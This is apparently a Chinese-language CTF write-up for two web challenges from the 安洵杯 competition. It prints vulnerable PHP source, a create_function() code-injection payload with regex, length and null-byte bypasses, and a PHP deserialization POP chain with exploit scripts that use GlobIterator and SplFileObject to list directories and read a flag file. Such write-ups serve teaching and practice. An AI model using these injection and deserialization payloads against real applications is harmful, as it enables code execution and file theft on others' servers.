I-SOON x D0g3

gi4ntHaRd

安洵杯WEB

what’s my name

源码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
highlight_file(__file__);
$d0g3=$_GET['d0g3'];
$name=$_GET['name'];
if(preg_match('/^(?:.{5})*include/',$d0g3)){ //确保$d0g3中include前面有五个字符
$sorter='strnatcasecmp'; //字符串比较函数,用于按照自然排序算法比较两个字符串,不区分大小写。
$miao = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);'); //根据传递的参数创建匿名函数,并为其返回唯一名称。
if(strlen($d0g3)==substr($miao, -2)&&$name===$miao){ //d0g3的长度与等于miao最后两个字符的长度且值相等;且$name===$miao
$sort_function = ' return 1 * ' . $sorter . '($a["' . $d0g3 . '"], $b["' . $d0g3 . '"]);';
@$miao=create_function('$a, $b', $sort_function); //create_function()代码执行
}
else{
echo('Is That My Name?');
}
}
else{
echo("YOU Do Not Know What is My Name!");
}
?>

此时我们可以通过代码审计得知如若要使得最后得@$miao=create_function('$a, $b', $sort_function);产生代码执行的话我们就必须满足上面的两个if条件if(preg_match('/^(?:.{5})*include/',$d0g3))if(strlen($d0g3)==substr($miao, -2)&&$name===$miao)

构造攻击代码

那么此时我们先从最后的代码执行入手,先构造攻击代码

此时我们知道reate_function()函数在代码审计中,主要用来查找项目中的代码注入和回调后门的情况;此时根据下面这篇文章我们来构造攻击代码

代码审计之create_function()函数 - 卿先生 - 博客园 (cnblogs.com)

可知

1
2
3
4
5
6
7
8
$sort_function = ' return 1 * ' . $sorter . '($a["' . $d0g3 . '"], $b["' . $d0g3 . '"]);';
@$miao=create_function('$a, $b', $sort_function);
@$miao=create_function('$a, $b', ' return 1 * ' . $sorter . '($a["' . $d0g3 . '"], $b["' . $d0g3 . '"]);');

匿名函数的执行:
function miao($a,$b){
return 1 * ' . $sorter . '($a["' . $d0g3 . '"], $b["' . $d0g3 . '"]);
}

那么此时经过我们的构造传入?d0g3="]);}phpinfo();/*后;整个匿名函数的执行会变成

1
2
3
4
5
function miao($a,$b){
return 1 * ' . $sorter . '($a["' . $sort_by '"]);
}
phpinfo();/*
}

因为create_function()函数会在内部执行 eval()那么此时便会执行eval(phpinfo())造成代码攻击

preg_match的绕过

接下来我们开始考虑绕过问题;此时我们从第一个if入手if(preg_match('/^(?:.{5})*include/',$d0g3))此时需要第五个字符后出现include那么此时我们直接在我们原先构造的payload的第五个字符后面直接加入include即可成功实现绕过

strlen($d0g3)==substr($miao, -2)的绕过

此时要求我们输入的$d0g3长度等于$miao的最后两个字符相等;此时我们输入的?d0g3="]);}include(phpinfo());/*共计26个字符,那么此时的考点在于匿名函数的名字是有规律的;此时运行一次便会加一

那么此时的满足strlen($d0g3)==substr($miao, -2)就很容易了;我们直接执行payload25即可成功满足

$name===$miao的绕过

此时我们在本地运行时会发现匿名函数的名字前面会有一个空字符;我们直接使用%00来绕过最后这个强比较

payload

1
?d0g3="]);}include(phpinfo());/*&name=%00lambda_26

easy_unserialize

代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
<?php
error_reporting(0);
class Good{
public $g1;
private $gg2; //私有属性

public function __construct($ggg3) //new时触发
{
$this->gg2 = $ggg3;
}

public function __isset($arg1) //在不可访问的属性上调用isset()或empty()触发
{
if(!preg_match("/a-zA-Z0-9~-=!\^\+\(\)/",$this->gg2))
{
if ($this->gg2)
{
$this->g1->g1=666;
}
}else{
die("No");
}
}
}
class Luck{
public $l1;
public $ll2;
private $md5;
public $lll3;
public function __construct($a) //new时触发
{
$this->md5 = $a;
}
public function __toString() //对象被当作字符串调用时
{
$new = $this->l1;
return $new();
}

public function __get($arg1) //从不可访问的对象中读取数据
{
$this->ll2->ll2('b2');
}

public function __unset($arg1) //在不可访问的属性上使用unset()时触发
{
if(md5(md5($this->md5)) == 666)
{
if(empty($this->lll3->lll3)){
echo "There is noting";
}
}
}
}

class To{
public $t1;
public $tt2;
public $arg1;
public function __call($arg1,$arg2) //调用不存在的方法时触发
{
if(urldecode($this->arg1)===base64_decode($this->arg1))
{
echo $this->t1;
}
}
public function __set($arg1,$arg2) //设置不存在的成员变量时调用
{
if($this->tt2->tt2)
{
echo "what are you doing?";
}
}
}
class You{
public $y1;
public function __wakeup() //使用unserialize时触发
{
unset($this->y1->y1);
}
}
class Flag{
public function __invoke() //将对象当作函数来使用时执行此方法
{
echo "May be you can get what you want here";
array_walk($this, function ($one, $two) {
$three = new $two($one);
foreach($three as $tmp){
echo ($tmp.'<br>');
}
});
}
}


if(isset($_POST['D0g3']))
{
unserialize($_POST['D0g3']);
}else{
highlight_file(__FILE__);
}
?>

反序列化链子的寻找

此时我们开始寻找反序列化链子;此时我们把链尾定格在class Flag类中

array_walk 函数对数组 $this 中的每个元素应用指定的回调函数。回调函数接收两个参数:$one 为当前元素的值,$two 为当前元素的键。看到这里可以马上想到原生类利用攻击

所以此时我们将其暂时定为链尾;接下来要触发__invoke的条件是当对象被当作函数调用时;此时我们就可以定位到Luck类中的__toString()此时$l1会被当作函数进行调用;而我们知道当对象被当作字符串输出时会触发;所以此时我们依旧定格在Luck类的__unset($arg1)上面;此时的函数会将md5当作字符串进行处理;此时我们继续往下面看;我们知道unset的触发是使用unset()时触发;所以继续定位到You类的__wakeup上面;此时使用了unset($this->y1->y1);会导致Luck类上的unset被触发;至此整条pop链子已经构造完毕

反序列化链子

1
You_wakeup() -> Luck_unset() Luck_toString() -> Flag_invoke()

反序列化之遍历文件目录类

上面提到根据最后一个Flag类中的方法我们可知可以构造原生类攻击

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
class Luck{
public $l1;
public $md5;

}
class You{
public $y1;
public function __construct(){
$this->y1 = new Luck;
}
}
class Flag{
public $GlobIterator;
}

$a = new You;
$a->y1->md5 = new Luck;
$a->y1->md5->l1 = new Flag;
$a->y1->md5->l1->GlobIterator="../../../*";
echo urlencode(serialize($a));
?>

此时成功得知flag的目录

反序列化之读取文件类

此时成功遍历文件目录后我们直接读取文件即可

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class Luck{
public $l1;
public $md5;

}
class You{
public $y1;
public function __construct(){
$this->y1 = new Luck;
}
}
class Flag{
public $SplFileObject;
}

$a = new You;
$a->y1->md5 = new Luck;
$a->y1->md5->l1 = new Flag;
$a->y1->md5->l1->SplFileObject="/FfffLlllLaAaaggGgGg";
echo urlencode(serialize($a));
?>